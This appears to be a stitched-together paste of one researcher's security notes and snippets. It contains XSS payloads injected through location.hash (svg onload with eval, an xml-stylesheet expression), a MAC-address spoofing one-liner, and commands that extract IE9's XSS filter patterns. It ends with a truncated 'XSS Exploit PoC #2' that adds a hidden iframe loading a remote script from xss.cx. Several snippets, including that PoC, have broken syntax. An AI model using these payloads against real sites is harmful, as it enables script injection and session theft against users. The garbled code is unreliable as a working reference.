xsscx

PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/libexec;clear;cd;p=(1295 ' 0.5 0.25 50
1000 15 5120 1000 25000 6 6 5 1 0 100 ' 51 25600 4 10 25 5120 102400 1000 25
1536 450 40 500 300 85 25 20480 262144 20 2000 524288 604800 5 1024 25
);k=({Soft,Hard}ware Memory Diagnostics Power FireWire Thunderbolt USB Bluetooth
SerialATA Extensions Applications Frameworks PrefPane Fonts Displays PCI
UniversalAccess InstallHistory ConfigurationProfile AirPort 'com\.apple\.' -\\t
N\\/A
'AES|atr|udit|msa|dnse|ax|ensh|fami|FileS|fing|ft[pw]|gedC|kdu|etS|is\.|alk|ODSA|
|otp|htt|pace|pcas|ps-lp|rexe|rlo|rsh|smb|snm|teln|upd-[aw]|uuc|vix|webf'
OSBundle{Require,AllowUserLoa}d

xsscx

HTMLImageElement.prototype.__defineSetter__('src', function(val){debugger;});

 Object.defineProperty(Object.prototype, 
        'top', 
        {enumerable:false, set: function(value){ 
            if(parseInt(value)<0)debugger; 
        }}
    );

xsscx

console.log(location.hash);
var tabValue = document.URL;
window.location = tabValue.substring(0, tabValue.lastIndexOf("#"));
console.log(location.hash);
window.location.hash = `#<noscript><script>confirm(1)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'`
location.reload();
console.log(location.hash);

xsscx

diskutil erasevolume HFS+ 'RAM Disk' `hdiutil attach -nomount ram://9999999`

xsscx

if( 'onHashChange' in window ) {
  window.addEventListener('hashchange', getHashValue, false);
  function getHashValue() {
    return window.location.hash;
  }
}
console.log(window.location.hash);
window.location.hash = '#<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>';
console.log(window.location.hash);
window.location.reload(true);

xsscx

 /Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/bin/java -Xmx5g -Djava.net.preferIPv4Stack=true -jar ~/jar/burp.jar
 
 ** This should be obvious....

server:lib xss$ /usr/bin/java -version
java version "1.8.0_74"
Java(TM) SE Runtime Environment (build 1.8.0_74-b02)
Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)

===============

xsscx

openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//' | xargs sudo ifconfig en0 ether

xsscx

This is a cheap fix for the libreadline.6.dylib linked from awk in bash installed via Brew.

ln -s /usr/local/lib/(your build path)/libreadline.6.dylib /usr/local/Cellar/readline/6.3.8/lib/libreadline.6.dylib

Haven't had time to figure it out yet.. 

Delete /etc/motd
sudo rm /etc/motd

xsscx

======================================================
Extract XSS Filters from MSHTML.DLL used in IE9
======================================================
findstr /C:"sc{r}" \WINDOWS\SYSTEM32\mshtml.dll|find "{"
======================================================
IE9 Summary - 23 Hardcoded Regex in mshtml.dll
======================================================
Fixed strings (2) javascript:, vbscript:
HTML tags (14) object, applet, base, link, meta, import, embed, vmlframe, iframe, script(2), style, isindex, form
HTML attributes (3)  " datasrc, " style=, " on*= (event handlers)

xsscx

============================================
XSS Exploit PoC #2
============================================
function cx () {
	try {
			for (var i = 0; i < navigator.plugins.length; i++) {
			if {name.indexOf("Media Player") != -1) {
				var m = document.create.Element("iframe");
				m.setAttribute("src", http://xss.cx/xss.js:);
				m.setAttribute("width", 0);